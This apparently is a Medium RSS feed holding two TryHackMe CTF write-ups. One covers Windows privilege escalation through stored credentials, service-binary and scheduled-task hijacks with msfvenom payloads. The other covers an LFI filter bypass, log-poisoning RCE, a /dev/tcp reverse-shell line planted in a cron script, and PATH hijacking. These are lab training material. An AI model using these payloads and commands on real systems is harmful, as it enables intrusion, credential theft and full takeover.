<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by mr.root on Medium]]></title>
        <description><![CDATA[Stories by mr.root on Medium]]></description>
        <link>https://medium.com/@mr-root?source=rss-2a02b39aa8b4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*DgbYLdvYsKlgy8duVy5djg.jpeg</url>
            <title>Stories by mr.root on Medium</title>
            <link>https://medium.com/@mr-root?source=rss-2a02b39aa8b4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 03:00:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mr-root/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe | Windows Jump — THM CTF]]></title>
            <link>https://mr-root.medium.com/tryhackme-windows-jump-thm-ctf-e64afa9e97c4?source=rss-2a02b39aa8b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/e64afa9e97c4</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[mr.root]]></dc:creator>
            <pubDate>Thu, 15 Oct 2026 15:51:27 GMT</pubDate>
            <atom:updated>2026-10-15T15:53:39.833Z</atom:updated>
            <content:encoded><![CDATA[<p>We start by scanning the Target IP’s ports with their versions. I prefer examining the open ports with rustscan, then scan those open ports in detail with nmap because it is much faster than the regular process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gvvw93pjQicYoam-eRnLFQ.png" /><figcaption>Rustscan Result</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*giXgBfmGBRJkFlAVOlyb_A.png" /><figcaption>Nmap Scan Result with Open Ports</figcaption></figure><p>After scanning we see that SMB Services(both NetBIOS(port 139) and Microsoft SMB(port 445)) are open. Checking the SMB with smbclient would be the best choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I9fHCztRQFrOGTaVWQJ3-g.png" /><figcaption>Open SMB Service in Target</figcaption></figure><p>When we list all the shares in the target SMB, we see that there is a share called Public which may contain valuable information. After we check the Public share, we catch a text file named welcome.txt and downloaded it.</p><p>We read the welcome.txt and get the first credentials to go into the target user. Our credentials are “thmuser:Password1!”. We can connect to the target device with xfreerdp by the found credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n8STJDymVjRdMnAqrEkOYw.png" /><figcaption>First Credentials &amp; First Login</figcaption></figure><p>After going in as thmuser, we can obtain the first flag in C:\Users\thmuser\Desktop folder after traversing a little, which is:<br>1)What are the contents of flag1.txt? -&gt; THM{5mb_cr3d5_1n_th3_5h4r3}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uPaRgM09w2OFetAbTp7C8w.png" /><figcaption>First Shell &amp; flag1.txt</figcaption></figure><p>I prefer using PowerShell as possible in Windows cause it usually contains Linux command aliases(For example you can use “cat” command instead of “type” or “ls” instead of “dir” command) as an extra of Windows commands. You can use cmd.exe as well(by using proper commands according to Windows Command Line), your choice.</p><p>We will now escalate our privileges accordingly by this order:<br> thmuser-&gt;notadmin-&gt;svcadmin-&gt;SYSTEM</p><p>We understood this order from the start by the users in C:\Users folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*-4KqXW2WR3bRvhvJLXb_8A.png" /><figcaption>Users according to /Users Folder</figcaption></figure><p>Normally you can enumerate all privilege escalation vectors with several tools(for example winpeas.exe) but to learn the privilege escalation vectors for Windows systems, it would be better if we enumerate them manually by ourselves. Let’s deep dive in that and learn them in detail.</p><h3>1. Cleartext Credentials &amp; Stored Passwords</h3><p><strong>Why check:</strong> System administrators and automated installation scripts often leave passwords in plain text within config files or the Registry.</p><p><strong>How to check:</strong></p><ul><li><strong>Winlogon / AutoLogon Credentials:</strong></li></ul><pre>reg query &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot;</pre><ul><li><strong>Unattended Installation Files:</strong></li></ul><pre>Get-ChildItem -Path C:\ -Include *unattend*.xml,*sysprep*.xml,*autounattend*.xml -Recurse -ErrorAction SilentlyContinue</pre><ul><li><strong>SAM / SYSTEM Registry Backups:</strong></li></ul><pre>ls C:\Windows\Repair\SAM ; ls C:\Windows\System32\config\RegBack\SAM</pre><h3>2. Weak Service Permissions</h3><p><strong>Why check:</strong> If a service runs under the SYSTEM context and your low-privilege user has permissions to modify the executable or service configuration, you can replace the binary with a malicious payload and restart the service.</p><p><strong>How to check:</strong></p><ul><li>List all non-standard services and their binary paths:</li></ul><pre>wmic service get name,displayname,pathname,startmode</pre><ul><li>Check file permissions using icacls:</li></ul><pre>icacls &quot;C:\Program Files\TargetApp\service.exe&quot;</pre><p><em>(If your user group has </em><em>F (Full) or </em><em>M (Modify) rights, you can overwrite the executable).</em></p><h3>3. Unquoted Service Paths</h3><p><strong>Why check:</strong> If a service path contains spaces and is not enclosed in quotation marks (e.g., C:\Program Files\My App\service.exe), Windows attempts to execute binaries sequentially along the path (e.g., C:\Program.exe, then C:\Program Files\My.exe).</p><p><strong>How to check:</strong></p><pre>wmic service get name,displayname,pathname,startmode | findstr /i /v &quot;c:\windows\\&quot; | findstr /i /v &quot;&quot;&quot;</pre><h3>4. Weak Registry Permissions</h3><p><strong>Why check:</strong> If you have write access to the Registry keys that define how a service or autorun application executes, you can modify the ImagePath to execute your custom command upon system startup or service restart.</p><p><strong>How to check:</strong></p><pre>Get-Acl -Path &quot;HKLM:\SYSTEM\CurrentControlSet\Services\*&quot; | Format-List</pre><h3>5. AlwaysInstallElevated Policy</h3><p><strong>Why check:</strong> When this Windows policy is enabled, any user (even low-privilege) can install .msi packages that automatically execute with elevated SYSTEM privileges.</p><p><strong>How to check:</strong></p><pre>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated</pre><p><em>(If both keys return </em><em>0x1, generating and executing a malicious </em><em>.msi payload will grant instant </em><em>SYSTEM access).</em></p><h3>6. Token Impersonation (User Privileges)</h3><p><strong>Why check:</strong> Certain specific privileges assigned to a user account (such as service accounts) allow you to abuse Windows authentication mechanisms to impersonate the SYSTEM token.</p><p><strong>How to check:</strong></p><pre>whoami /priv</pre><p><em>(Look for privileges like </em><strong><em>SeImpersonatePrivilege</em></strong><em>, </em><strong><em>SeAssignPrimaryTokenPrivilege</em></strong><em>, or </em><strong><em>SeRestorePrivilege</em></strong><em>. These can be abused using tools like PrintSpoofer, JuicyPotato, or RoguePotato).</em></p><h3>7. Missing Security Patches (Kernel Exploits)</h3><p><strong>Why check:</strong> Unpatched operating system vulnerabilities or third-party kernel driver flaws can allow direct code execution in kernel mode (SYSTEM).</p><p><strong>How to check:</strong></p><pre>systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn</pre><p><em>(Compare the OS build and missing HotFix IDs against public exploit databases like Exploit-DB or Windows Exploit Suggester).</em></p><h3>8. Scheduled Tasks Misconfigurations</h3><p><strong>Why check:</strong> System-level scheduled tasks often execute scripts or binaries. If a task runs under the SYSTEM context and points to an executable or script where your user has write permissions, you can overwrite it to execute custom commands.</p><p><strong>How to check:</strong></p><ul><li>List all scheduled tasks with detailed attributes:</li></ul><pre>schtasks /query /fo LIST /v</pre><ul><li>Filter tasks running with highest privileges in PowerShell:</li></ul><pre>Get-ScheduledTask | Where-Object {$_.Principal.RunLevel -eq &quot;Highest&quot;}</pre><h3>9. Saved Credentials (cmdkey)</h3><p><strong>Why check:</strong> Users or administrators often save credentials in Windows Credential Manager to automatically log in or access remote network resources.</p><p><strong>How to check:</strong></p><ul><li>List stored credentials for the current user session:</li></ul><pre>cmdkey /list</pre><p><em>(</em>If saved credentials for an administrator account exist, you can execute commands under their identity using `runas /savecred /user:DOMAIN\Admin “cmd.exe”`).</p><h3>10. Writable Startup Directories</h3><p><strong>Why check:</strong> Executables or shortcut files placed in the “All Users” Startup folder execute automatically whenever any user (including an Administrator) logs into the machine.</p><p><strong>How to check:</strong></p><ul><li>Inspect permissions on the global Startup directory using “icacls”:</li></ul><pre>icacls &quot;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp&quot;</pre><p><em>(</em>If your user group has write access, dropping a malicious batch script or executable into this directory yields code execution upon the next admin login).</p><h3>11. DLL Hijacking</h3><p><strong>Why check:</strong> When an elevated process or service starts, it searches for required DLL files in specific directories in a predefined order. If a required DLL is missing or an application folder within `%PATH%` is writable, you can plant a malicious DLL.</p><p><strong>How to check:</strong></p><ul><li>Check write permissions across system `%PATH%` directories:</li></ul><pre>$env:Path -split &#39;;&#39; | ForEach-Object { Get-Acl $_ }</pre><p>(In GUI environments, Sysinternals `ProcMon` can be used with filters `Result is NAME NOT FOUND` and `Path ends with .dll` to identify vulnerable elevated processes)</p><h3>12. Unencrypted WSUS Deployment</h3><p><strong>Why check:</strong> If the Windows Server Update Services (WSUS) server is configured over unencrypted HTTP instead of HTTPS, a local or network attacker can intercept and spoof update responses to execute arbitrary binaries as SYSTEM.</p><p><strong>How to check:</strong></p><ul><li>Query the configured WSUS server URL in the Registry:</li></ul><pre>reg query &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate&quot; /v WUServer</pre><p>(If the URL starts with `http://` instead of `https://`, the host is vulnerable to WSUS update hijacking via tools like SharpWSUS).</p><h3>13. Writable Program Files &amp; Application Binaries</h3><p><strong>Why check:</strong> Third-party applications installed outside standard Windows permission structures often inherit weak file ACLs, allowing low-privilege users to overwrite “.exe” or “.dll” files executed by administrators.</p><p><strong>How to check:</strong></p><ul><li>Search for writable binary files inside Program Files:</li></ul><pre>Get-ChildItem -Path &quot;C:\Program Files&quot;, &quot;C:\Program Files (x86)&quot; -Recurse -Include *.exe,*.dll -ErrorAction SilentlyContinue | Get-Acl | Where-Object { $_.AccessToString -match &quot;FullControl|Modify|Write&quot; }</pre><h3>14. Vulnerable Third-Party Drivers (BYOVD)</h3><p><strong>Why check: </strong>Outdated or insecurely designed third-party drivers (e.g., hardware utilities, legacy antivirus drivers) running in kernel space can be exploited to read/write kernel memory and achieve instant SYSTEM access.</p><p><strong>How to check:</strong></p><ul><li>List all installed non-Microsoft drivers:</li></ul><pre>driverquery /v /fo csv | findstr /i /v &quot;Microsoft&quot;</pre><p>(Cross-reference third-party driver vendor names and driver versions against public exploit databases like LOLDrivers or Exploit-DB).</p><h3>Conclusion</h3><p>Automated scripts save time, but understanding these manual vectors ensures you know what to look for when automated tools fail or are blocked by endpoint defenses. Always start with basic enumeration: <strong>credentials, services, permissions, and privileges.</strong></p><p>Now we can enumerate the target system with the techniques we learnt.Now we can enumerate the target system with the techniques we learnt. When we check the stored credentials we find out the user notadmin’s password. We can now get a shell as notadmin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*6omJO1sOrjIbGrgx2ykkCA.png" /><figcaption>Stored Credentials</figcaption></figure><p>After logging in by running cmd.exe as notadmin with the covered credentials(notadmin:P@ssw0rd!), we capture the second flag:<br>What are the contents of flag2.txt? -&gt; THM{w1nl0g0n_cr3ds_3xp0s3d}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*uPB-5CkKz1_QyvWYdkti0w.png" /><figcaption>Getting Shell as notadmin</figcaption></figure><p>After getting the second flag, we look for ways to escalate our privileges again. When we check the service permissions to see if they have weak configurations for svcadmin(as this will probably be our next target) we see something suspicious after executing the commands below:</p><pre>wmic service get name,displayname,pathname,startname | findstr /i &quot;svcadmin&quot;</pre><p>After learning that we have service called svcadmin.exe, we execute one more command to learn moderation settings:</p><pre>icacls C:/Windows/THMSVC/svc.exe</pre><p>Now let’s investigate the meaning and usage of the last two command we used and outputs of them. Services in Windows have several components such as name, displayname, pathname, startname and more. In our first command we simply checked all the services in the system by their name, displayname, pathname,startname and filtered the ones that contain “svcadmin” in them. As a result we got one service found which is executed by THMSvc service at C:\Windows\THMSVC\svc.exe absolute path by the user svcadmin. Which means that it gets executed by svcadmin and with it’s privileges. At the second command we checked svc.exe service’s moderation settings and learned that Everyone has Full(F) Access. That means anyone can read, write and execute however they like which is a super dangerous vulnerability. If we change(overwrite) the svc.exe with malicious file payload we prepare named svc.exe, we may get a shell session as svcadmin with reverse shell.</p><p>Let’s prepare our payload with msfvenom. LHOST for your local(or VPN) IP Address and LPORT is the port you will be listening by your listener. We are using a stageless payload cause we don’t have limitation for our payload size and we wanna do it with one single connection. As file type(-f parameter) you HAVE TO specify as exe-service. If you create your payload as classic exe type file(-f exe) it will not work because services are special type of files that regular exe files cannot replace(or overwrite) them. After you created your payload open http server listener so that you can download your payload from the target device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2lM9zrEwCeAETbMm_8X2kw.png" /><figcaption>First Payload</figcaption></figure><p>Now you will download the payload with certutil and save it. Later on copy the payload to direct location of the service file(C:\Windows\THMSVC\svc.exe). Then MAKE SURE that you opened a listener in your device at port 4445(we created payload for port 4445 with msfvenom). Finally start the THMSvc by executing the “sc start THMSvc” command and let the reverse shell do the rest. Check your listener, you should have a session as svcadmin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*j52wfbHIOUCsvxGHdxjKsA.png" /><figcaption>Handling the Payload</figcaption></figure><p>By getting shell as svcadmin, we can obtain the third flag!<br>What are the contents of flag3.txt? -&gt; THM{s3rv1c3_b1n4ry_h1j4ck3d}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*IYvZbH3nCxY-DMuSVImApQ.png" /><figcaption>Shell as svcadmin</figcaption></figure><p>At last we need to become SYSTEM to totally capture the machine. After a long enumeration we find a Tasks folder at C:\Windows\Tasks. It contains a file named cleanup.bat, when we check it’s permissions we see that we can modify this bat file. In Windows systems bat files are usually used in scheduled tasks(same as cron jobs in Linux) and if we modify it’s content, hopefully we may get a shell as the user who executes it. Worth giving it a try. Let’s create a payload modify cleanup.bat’s content so that it would execute our payload whenever it gets executed. Unfortunately we can’t see the user who executes and it’s execution period, actually we can’t even see if it is really scheduled or not but we will give it a try.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*HcqYatxUFCzboWZrVxQOYw.png" /><figcaption>cleanup.bat</figcaption></figure><p>Create the payload according to your IP Address(LHOST) and listener port(LPORT) again. This time you can specify the file type as exe because we won’t replace this with a service executable file but instead modify the bat file and make it execute our payload from it’s content. Hopefully we may get a shell as the user who executes it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PLHEMG6ImiQF9-aC0r67Zw.png" /><figcaption>Final payload</figcaption></figure><p>After creating the payload we download it from the target device with certutil, then modify the cleanup.bat and add a line that executes our payload. Lastly we open a listener for the port we specified while creating the payload and start waiting. Hopefully we catch something.</p><p>While waiting for a few minutes, we catch a shell and it is the SYSTEM user! With system knowledge and a little luck, we became the SYSTEM user :D Finally we obtain the last flag:<br>What are the contents of flag4.txt? -&gt; THM{t4sk_wr1t3_t0_SYST3M}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*V5O1u7jj-oMp0gEmoFJgkw.png" /><figcaption>Getting shell as SYSTEM</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e64afa9e97c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Archangel — THM CTF]]></title>
            <link>https://mr-root.medium.com/tryhackme-archangel-thm-ctf-98d4f64826fc?source=rss-2a02b39aa8b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/98d4f64826fc</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[lfi]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[mr.root]]></dc:creator>
            <pubDate>Tue, 13 Oct 2026 13:58:34 GMT</pubDate>
            <atom:updated>2026-10-13T17:01:42.344Z</atom:updated>
            <content:encoded><![CDATA[<p>We must scan the target IP’s ports to get to know the target system first. I prefer rustscan because of it’s speed. After determining which ports are open by rustscan, I scan those ports in detail by nmap to make the scan more accurate and detailed. By checking the service versions we covered in nmap we see that those are not vulnerable versions and we understand that we need to pwn the system with another way. Let’s enumerate the web side!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wwX3nOKPmptsnFozrzBZWA.png" /><figcaption>Rustscan Result</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*FDflUF9sAuvDEnExhy2x2g.png" /><figcaption>Nmap Scan Result</figcaption></figure><p>By enumerating the web side with Gobuster we find some spicy-looking stuff(in the /flags folder). We check them to get the first flag but instead we get Rickrolled :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bhTmvjmCvj-TJKkbAkR35w.png" /><figcaption>Gobuster Result for <a href="http://10.113.130.204/">http://10.113.130.204</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*ytH9XQHqXabwmz3uKmj64Q.png" /><figcaption>RickRolled!</figcaption></figure><p>By checking the website manually for a while we realise that it is a static website which doesn’t contain anything useful except one thing. We see that they use the word “Mafialive” a lot than usual, also their support mail is support@mafialive.thm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HawArYkD0UupbV69m9f8Dg.png" /><figcaption>Default Wavefire Static Web Page</figcaption></figure><p>The first question was also asking us a different hostname. We get a lil suspicious. Web Servers(Apache/Nginx) may contain several websites in the same IP Address and they decide which one to show according to the “Host-Header” information in coming request. We can try to edit our /etc/hosts file by adding the website’s IP Address with it’s hostname (mafialive.thm in this scenerio) and try to go forward for that hostname to check if target IP has a secret website or not. Let’s give it a try!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*k484h8ZqwSDo58kFNGfs4g.png" /><figcaption>Update /etc/hosts</figcaption></figure><p>After going to <a href="http://mafialive.thm/">http://mafialive.thm</a> address we see that it really worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X7OVCdBtKiTDN5sm_woomA.png" /><figcaption><a href="http://mafiactive.thm/">http://mafiactive.thm</a></figcaption></figure><p>We cover the first two questions’ answers by that.</p><p>1)Find a different hostname -&gt; mafiactive.thm</p><p>2)Find flag 1 -&gt; thm{f0und_th3_r1ght_h0st_n4m3}</p><p>After getting the hostname we should enumerate that because it is indexed separetly itself. It can have the same IP Address but still it is a separate website as a result.</p><p>When we enumerate it via Gobuster with common.txt we don’t find much thing except robots.txt(You can find secret file directly by using a larger wordlist tho) but when we checked robots.txt we see /test.php in Disallowed files. Probably developers added test.php in the development phase, also added in Disallowed part for robots.txt as well for Search Engine Crawlers to not read that content but forgot to remove it when it came to production phase. This happens a lot in real-life scenarios, files like robots.txt and sitemap.xml may contain valuable credentials and informations themselves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kQH-JUzGyNu7JmdChQs2kA.png" /><figcaption>Gobuster Enumeration for mafialive.thm</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*neaQyeD3E3mamdngSKOnPQ.png" /><figcaption>robots.txt</figcaption></figure><p>3)Look for a page under development -&gt; test.php</p><p>When we go for test.php we see that test.php gets the full pathway of the file it shows via view parameter. It might have LFI vulnerability. LFI(Local File Inclusion in long) is the vulnerability which allows attackers to read the contents of the specified file in the target server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9fCg3M5wWPxF3zCQBxXi0Q.png" /><figcaption>test.php</figcaption></figure><p>If we can read test.php file, we can understand the code’s structure and try to find a way to bypass it much easier. Luckily we have a feature in php that allows us to read the source code in base64 form by not executing it, which is called Wrapper technique.</p><p>Payload we will use:<br><a href="http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php">php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php</a></p><p>Full URL:<br><a href="http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php">http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php</a></p><p>As a result we have test.php file’s source code fully printed in Base64 form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hfJ18FioYZWTxJYpjyRy2A.png" /><figcaption>test.php Source Code in Base64 Form</figcaption></figure><p>We can decode this by a Base64 decoder website(like <a href="https://www.base64decode.org/">https://www.base64decode.org</a>) or we can decode in terminal with “echo ‘base64_you_wanna_decode’ | base64 -d” command.</p><pre>&lt;!DOCTYPE HTML&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;INCLUDE&lt;/title&gt;<br>    &lt;h1&gt;Test Page. Not to be Deployed&lt;/h1&gt;<br>&lt;/button&gt;&lt;/a&gt; &lt;a href=&quot;/test.php?view=/var/www/html/development_testing/mrrobot.php&quot;&gt;&lt;button id=&quot;secret&quot;&gt;Here is a button&lt;/button&gt;&lt;/a&gt;&lt;br&gt;<br>        &lt;?php<br>//FLAG: thm{explo1t1ng_lf1}<br>function containsStr($str, $substr) {<br>                return strpos($str, $substr) !== false;<br>            }<br>    if(isset($_GET[&quot;view&quot;])){<br>    if(!containsStr($_GET[&#39;view&#39;], &#39;../..&#39;) &amp;&amp; containsStr($_GET[&#39;view&#39;], &#39;/var/www/html/development_testing&#39;)) {<br>             include $_GET[&#39;view&#39;];<br>            }else{<br>echo &#39;Sorry, Thats not allowed&#39;;<br>            }<br> }<br>        ?&gt;<br>    &lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>4)Find flag 2 -&gt; thm{explo1t1ng_lf1}</p><p>When examine the code in detail, we see that using “../..” is not allowed in the pathway and using “/var/www/html/development_testing” is mandatory. Normally we would bypass it with a payload like “/var/www/html/development_testing/../../../../etc/passwd” but “../..” is blacklisted. Luckily we know that “../..” and “..//..” mean the same thing in Linux, UNIX and Windows Operating Systems. We can use “/var/www/html/development_testing/..//..//..//..//..//etc//passwd” and it would do same as before.</p><p>✅True Payload: “/var/www/html/development_testing/..//..//..//..//..//etc//passwd”</p><p>❌Wrong Payload: “/var/www/html/development_testing/../../../../../etc/passwd”</p><p>../.. 🟰 ..//.. 🟰 ..///.. 🟰 ../////////////////.. -&gt; Logically and Functionally Equivalent</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sxeetSSZB44qCD03rbpD7A.jpeg" /><figcaption>LFI Approved by getting /etc/passwd content</figcaption></figure><p>I tried RFI as well but unfortunately system is secured against RFI. We can try a simpler way to turn LFI into RCE. Web Servers always keep logs for activities happened during the production environment(sometimes for test and development environment as well). Those record are being kept in several logs such as access.log, auth.log, error.log etc. We will be using access.log for our operation in this case because it keeps all of the operations done in itself.</p><p>Our logic is simply adding php code into access.log and whenever we read the output of access.log, it will first execute the php code and then print it’s result. To add the php code to our request we need to know which headers, components are stored in access.log from the coming requests. To do that so, we will use Burp Suite Repeater.</p><p>We see that User-Agent is also recorded in access.log, we can manipulate it. User-Agent is actually a perfect options for us because it is always recorded in all logs(for both Apache and Nginx), it doesn’t have any character limitation, gets processed in raw text and usually bypasses Application Layer filters and directly writes on logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*dSnJVn1mZGLsIHUqevMU3w.jpeg" /><figcaption>User-Agent Recorded in access.log</figcaption></figure><p>Now revise the URL parameter and User-Agent, it will become RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*tmyc48AbVX4kq7yKxOA-FA.jpeg" /><figcaption>RCE Approved with “whoami”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*3JRZSiZwSOJFQhIKVNxBlg.jpeg" /><figcaption>Upload our Reverse Shell Script</figcaption></figure><p>You can get the PHP Reverse Shell script to from <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php</a> and upload it to the server. After you successfully uploaded it go with <a href="http://mafialive.thm/shell.php">http://mafialive.thm/shell.php</a> URL and get your shell as www-data user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*3xzElfvdoknbbb8ug1LHCQ.jpeg" /><figcaption>First Shell</figcaption></figure><p>After you get any shell, you can stabilize it with some moves:<br>1 - Execute the command python3 -c “import pty;pty.spawn(‘/bin/bash’)”;<br>2 - Ctrl + Z and background the process, then execute stty raw -echo;fg<br>3 - Execute the command export TERM=xterm</p><p>By those steps you will have a stable and strong shell session. They are STRONGLY RECOMMENDED TODOs for every shell session you get.</p><p>After getting the shell we can get the first user flag which is:<br>5)Get a shell and find the user flag -&gt; thm{lf1_t0_rc3_1s_tr1cky}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*Ka0fQmRAjFqFRMirI6puZg.jpeg" /><figcaption>First user flag</figcaption></figure><p>After getting to server we need to look for ways to escalate our privileges. We check for crontab first and catch something suspicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HXmV4ru4tH88xzq31C2HVg.jpeg" /><figcaption>Priv Esc with crontab</figcaption></figure><p>We see that anyone can write on the helloworld.sh and it gets executed by the user archangel every minute. If we write a reverse shell bash command on it, we can get a shell as archangel easily. I added “sh -i &gt;&amp; /dev/tcp/192.168.193.68/4444 0&gt;&amp;1” at the end of helloworld.sh(Don’t forget to change the ip address and port according to yourself). After waiting a minute we get shell as the user archangel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*xURzavB-unHeaF9v05HN9A.jpeg" /><figcaption>Shell as archangel</figcaption></figure><p>By getting this shell we can obtain the user2 flag, which is:<br>5)Get User 2 flag -&gt; thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}</p><p>When we check the files in secret folder we see that there is an elf file called backup with SUID permissions which means that it gets executed with root privileges. To check the file we use “strings” command because it is a binary file, so “cat” command wouldn’t show us file completely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*2Az1YrlcfjOk9cC6PkF9Yg.jpeg" /><figcaption>backup file with SUID Bits</figcaption></figure><p>After checking the content of backup, we see that it copies some files to another directory by using “cp” command. Luckily it didn’t use the Absolute Path and use it directly(which means it uses the Relative Path in $PATH environment variable). This allows us for PATH Manipulation.</p><p>o explain the $PATH variable shortly, we can say that it is used in Relative Paths which means that if it is used somewhere(by not specified it’s Absolute Path) it uses the order in $PATH to check for files/binaries to execute that command. Normally the usual “cp” command is in /bin/cp but as mentioned if $PATH is changed and add a file “cp” which contains malicious content to the place which has higher priority, system would use the one with higher priority(which is the manipulated malicious one).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*3gmGMSS9zXuOtngYBJ358w.jpeg" /><figcaption>$PATH Manipulation</figcaption></figure><p>As mentioned before, we manipulated PATH variable. We added “.:” to the start which means that whenever something is called, system will look for the current directory first. You can change this value however you like but don’t forget that it will have different priority according to your changes.</p><p>Now create a file named cp in your folder(which is the folder /secret now) and write this content inside of it:</p><pre>#!/bin/bash<br>/bin/bash -p</pre><p>After that execute “chmod +x cp” to give it permissions to get executed. After that execute the file backup and get root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*-nE8VwVM2cdnOs-NqSSsQg.jpeg" /><figcaption>Get root access</figcaption></figure><p>Finally capture the last flag and complete the challenge.<br>6)Root the machine and find the root flag -&gt; thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*7b-VcQbCa6JU2rnDiDa9Sw.jpeg" /><figcaption>Root flag</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98d4f64826fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Jump — THM CTF]]></title>
            <link>https://mr-root.medium.com/tryhackme-jump-thm-ctf-832134e2690a?source=rss-2a02b39aa8b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/832134e2690a</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[mr.root]]></dc:creator>
            <pubDate>Sun, 04 Oct 2026 10:57:59 GMT</pubDate>
            <atom:updated>2026-10-13T09:55:11.768Z</atom:updated>
